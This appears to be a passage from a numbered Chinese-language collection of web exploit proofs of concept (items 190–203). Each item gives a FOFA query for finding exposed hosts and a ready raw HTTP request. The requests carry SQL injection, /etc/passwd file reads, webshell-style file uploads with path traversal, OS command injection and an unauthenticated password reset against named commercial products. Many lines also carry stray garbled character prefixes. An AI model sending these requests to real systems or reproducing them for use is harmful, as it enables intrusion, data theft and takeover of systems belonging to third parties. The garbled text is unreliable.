/ V+ u  @  Y( ?( @1 L7 _$ eFOFA：app="LANWON-临床浏览系统"
' ^  t) L$ v: i" vGET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
9 A6 D. ?' A. _! q* E+ M4 hHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
+ X3 K# y: B* s! m4 g% cAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
2 Q/ q" N& J# h& P: ], T9 b6 C5 UConnection: close
% f) X* A' n5 D- y8 Z
' ?3 v" Z# X/ x3 c
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
1 d1 M% H' _! Q8 f7 T5 K! |( V0 FFOFA：title=="短视频矩阵营销系统"
7 Q, A- }7 e# mPOST /index.php/admin/Userinfo/poihuoqu HTTP/2
0 ]5 }3 c' J" n' |$ ^8 NHost: your-ip
8 w) o; @- L/ r8 U" k. kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
/ X# i7 `9 P  F9 tAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
, d9 r1 |4 B6 a: W& oContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
" g" e: w5 y4 k$ L4 AAccept-Language: zh-CN,zh;q=0.9
0 Y7 T1 U, Y4 w
poi=file:///etc/passwd
2 ?% m6 l. J- E& A" l" O' u
! {$ u1 ?) }1 t: m2 L; e
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
FOFA：body="/CDGServer3/index.jsp"
% h0 h  e! y* e/ T/ X! VPOST /CDGServer3/js/../NavigationAjax HTTP/1.1
Host: your-ip
; X) L, C8 Q0 ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
) x8 J; I2 ~1 ]/ A0 ^1 j
command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=


192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
9 X8 x% f, ?1 gFOFA：title="用户登录_富通天下外贸ERP"
; z5 u& ?4 T# D/ b( ^- W* PPOST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
6 E: q$ E8 G  c7 ~Host: your-ip
. v9 F9 K0 x  f7 f  N$ n: L$ mUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded


<% @ webhandler language="C#" class="AverageHandler" %>
% l2 ?  S$ g' k( [; N' A( zusing System;
using System.Web;
public class AverageHandler : IHttpHandler
{
; T3 L! E, N( A1 l# o* O6 \public bool IsReusable
8 ?1 ~0 @- w& J7 k9 B{ get { return true; } }
public void ProcessRequest(HttpContext ctx)
{
ctx.Response.Write("test");
}
5 @1 F7 s4 J6 v+ G" \}

7 U- f/ _& d1 O# o6 ]( t& R( o
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
FOFA：body="山石云鉴主机安全管理系统"
GET /master/ajaxActions/getTokenAction.php HTTP/1.1
* z9 a: `8 {2 e% y# BHost:
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
, e" |" `" h8 {/ w$ _5 LUser-Agent: Mozilla/5.0
- ]  n5 h" Y5 I' r/ _0 [7 Q7 u5 t

POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
% j" [/ {- W1 Y( P, iHost:
) t" R0 D! r6 Y( x$ ~! }4 QUser-Agent: Mozilla/5.0
. P- T) `, G* S- k/ h' vAccept-Encoding: gzip, deflate
1 W7 X( Z( G  ZAccept: */*
6 |! o1 r6 `5 ]% _. n# G* DConnection: close
5 \8 F* Z9 M: S5 C( A) SCookie: PHPSESSID=2333333333333;
0 O3 p* L4 ^" x. J2 I# b* J2 FContent-Type: application/x-www-form-urlencoded
) D  S* D: b" d9 p. `Content-Length: 84

param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
6 T  O( v, k2 F; P" X0 D3 L
9 D. }9 Z  G8 Q% a, M
) O0 T% m- v! IGET /master/img/config HTTP/1.1
  C6 G) j1 V0 C# o6 F4 aHost:
: W2 M4 W1 W8 `6 R0 FUser-Agent: Mozilla/5.0
7 l% V/ j3 y+ N1 P; _
4 j  @. }% a7 p. e8 e3 p
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
. |& g& O; t, J! v8 E( bFOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在

POST /servlet/uploadAttachmentServlet HTTP/1.1
3 N! y; h/ w* DHost: host
/ r4 Z* R* z- X8 \2 gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
% W  }7 o$ g% @0 C6 H' y' L) \; @Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- w* C5 g0 `$ _* n& f6 h7 F. B" p. dAccept-Encoding: gzip, deflate
Connection: close
% _6 g* Y) i! _Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
+ [/ ]& o9 s- B) [4 M8 n9 j------WebKitFormBoundaryKNt0t4vBe8cX9rZk

$ _/ @6 U: v& m. h/ F/ eContent-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
Content-Type: text/plain
<% out.println("hello");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
& d1 o. y2 x% V8 A* `Content-Disposition: form-data; name="json"
/ ]' v% V  S+ k) `+ U% y: c {"iq":{"query":{"UpdateType":"mail"}}}
6 p  a) O, m0 ?; J# X0 }5 t. T  ~------WebKitFormBoundaryKNt0t4vBe8cX9rZk--


195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
! K- R9 f+ v0 H8 I* E, ?' x4 \1 p3 }/ LPOST /send_order.cgi?parameter=operation HTTP/1.1
Host: 127.0.0.1
* f/ P/ m9 z5 P& EPragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
0 l9 x6 K5 ?- s* O4 b- _Accept: */*
Accept-Encoding: gzip, deflate
, E; v- A4 E! J. s" xAccept-Language: zh-CN,zh;q=0.9
: d7 R" c. v# p4 i9 RConnection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 68

{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}

% R; @& L" x3 O5 d/ X
196. 河南省风速科技统一认证平台密码重置
6 ^$ E8 R% C1 S9 kFOFA：body="/cas/themes/zbvc/js/jquery.min.js"
POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
; o& i2 _7 k4 R$ PUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
# Q2 f# y7 Y8 ?' w' L/ [8 @  xContent-Type: application/json;charset=UTF-8
% ]6 ^" e! Z/ t7 ]" UX-Requested-With: XMLHttpRequest
& n" Q3 w" P! V" s6 J& MHost:
: V' @' I+ u7 g  uAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 45
( F! i* D0 z; oConnection: close
* o! ?0 W7 X" `: G  Y! k
/ r  H4 c. z, Z+ i3 \{"xgh":"test","newPass":"test666","email":""}


* h3 f; x4 d, N; U, @) Z
7 K8 B  [% E  D7 k- X197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
FOFA：app="浙大恩特客户资源管理系统"
GET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
8 I5 B+ L, J- ?* l2 t6 y9 b' bHost:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
  f$ U+ X4 E: a; K$ G0 xAccept-Encoding: gzip, deflate
Connection: close
. n! R: Q5 y0 l; `/ o

$ r: g  l/ s  B  G8 M
198.  阿里云盘 WebDAV 命令注入
CVE-2024-29640
GET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
3 ?$ ?. X( `( k9 j2 F! z$ Z- x1 E' n& pAccept-Encoding: gzip, deflate
  U! r* x$ M3 v; o4 SAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
4 |# d0 M  U' O: aConnection: close

* V" u: V3 @! w5 `2 e  ?
! `  r0 N5 K& W199. cockpit系统assetsmanager_upload接口 文件上传
- U6 f; L: _9 q/ Z) r
1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
* w- q9 o+ F4 d. K& P( S8 YGET /auth/login?to=/ HTTP/1.1
/ H" ~0 |: G' T$ o  z
! M: v  O) E6 q5 C/ k响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"

2.使用刚才上一步获取到的jwt获取cookie：

9 p2 p$ I, o+ a% O  T! h: x& O6 nPOST /auth/check HTTP/1.1
Content-Type: application/json
6 n$ A' o9 f' y& _* C; s
{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}

响应：200，返回值:
Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
Fofa：title="Authenticate Please!"
POST /assetsmanager/upload HTTP/1.1
8 e; j. u. u% }+ q6 V' Z+ Q+ t( pContent-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
5 \; X# S. _* h5 X+ f% yCookie: mysession=95524f01e238bf51bb60d77ede3bea92

-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="files[]"; filename="tttt.php"
Content-Type: text/php
* L! C4 `! a+ H1 _
' ]% Y+ K$ s6 X- y: n, V<?php echo "tttt";unlink(__FILE__);?>
% m4 v/ n( f1 u& _1 \+ O8 X-----------------------------36D28FBc36bd6feE7Fb3
+ p- s4 w. P( O- @7 t) A# OContent-Disposition: form-data; name="folder"
: d- S* z+ m+ Z
-----------------------------36D28FBc36bd6feE7Fb3--

% H) `9 E& B0 a/ ?+ `" Y$ a
/storage/uploads/tttt.php

/ N* R$ C5 o% d+ n3 |# ]& F& _200. SeaCMS海洋影视管理系统dmku SQL注入
FOFA：app="海洋CMS"
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
" p* {$ p7 _  \2 o. J/ G. fCookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
/ S' s* [) \: A% H2 s- E6 gUpgrade-Insecure-Requests: 1
Cache-Control: max-age=0
2 i1 R; O' k# U- j% l) nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
) [3 h" Z3 ~" x$ E' X' v9 t

201. 方正全媒体新闻采编系统 binary SQL注入
FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
; R' E, `. P+ {% e, O, LPOST /newsedit/newsplan/task/binary.do HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
1 l$ O1 m: K7 \4 M1 @, h3 M3 gAccept-Language: zh-CN,zh;q=0.9
Connection: close
; v' ^, b& V* M/ d8 k  s
! K" z. l. Q* }% ?2 @; X& ]& OTableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1


202. 微擎系统 AccountEdit任意文件上传
FOFA：body="/Widgets/WidgetCollection/"
6 |5 z0 W% u9 ~0 P8 l0 H获取__VIEWSTATE和__EVENTVALIDATION值
; ^; `9 A1 e% s% ~, @; p, @GET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
Content-Length: 0
5 Y) x9 r. j7 g# V# n
5 i. y) I4 q. ~2 R
& K0 F+ f, P8 c& Q: G替换__VIEWSTATE和__EVENTVALIDATION值
/ F& ~0 X0 p7 J6 j4 NPOST /User/AccountEdit.aspx HTTP/1.1
% L- m2 a1 g  G5 kAccept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687

-----------------------------786435874t38587593865736587346567358735687
% d' m& p  h5 ?/ n4 RContent-Disposition: form-data; name="__VIEWSTATE"
8 s% M2 W( T7 H6 r8 n
. m5 w. M+ j- e3 X8 @) T% A$ r' `__VIEWSTATE
4 s  L/ q4 i5 \5 k, m' P  R-----------------------------786435874t38587593865736587346567358735687
% P/ n1 G" ?# g1 a5 }! r" gContent-Disposition: form-data; name="__EVENTVALIDATION"

__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
& X4 |9 i5 A! W( ~. Y  qContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain

Hello World!
6 t% [( Q. g; v9 X6 X-----------------------------786435874t38587593865736587346567358735687
6 k* f, L% m: f3 c0 U' {9 DContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"
' m" p6 M8 E0 A) n
上传图片
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"

& \) W/ k1 L$ i3 z  ], I
-----------------------------786435874t38587593865736587346567358735687
& x/ @2 U' r, I, p. OContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"

& g/ O' M5 F' p) g% v' \' I2 t9 j
-----------------------------786435874t38587593865736587346567358735687--
; W/ b! m0 I, a

8 t# p9 ~$ x: L6 z6 ?/_data/Uploads/1123.txt
. q/ Y8 O; G8 b4 O6 b' j  F1 [
203. 红海云EHR PtFjk 文件上传
* Z( p* e  d3 O, T; E& c# T& mFOFA：body="RedseaPlatform"
; i1 h3 ^" l8 J4 G6 L; JPOST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host: x.x.x.x
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
9 a' E6 X0 V8 qContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
) X2 t/ R& \; j6 TContent-Length: 210
2 U1 I2 w1 B9 b
3 c2 z7 H0 [0 I4 ?$ r% D/ l------WebKitFormBoundaryt7WbDl1tXogoZys4
0 s5 v# e  O0 N7 uContent-Disposition: form-data; name="fj_file"; filename="11.jsp"
Content-Type:image/jpeg

<% out.print("hello,eHR");%>
! |: ?# Z) D5 g9 E, e& x; [- o------WebKitFormBoundaryt7WbDl1tXogoZys4--
; ?/ Q7 d  n6 Y, z) f2 ]3 X
7 ^3 j* I1 z, H$ g. X' q: u



& |7 A0 {$ p( {5 _" h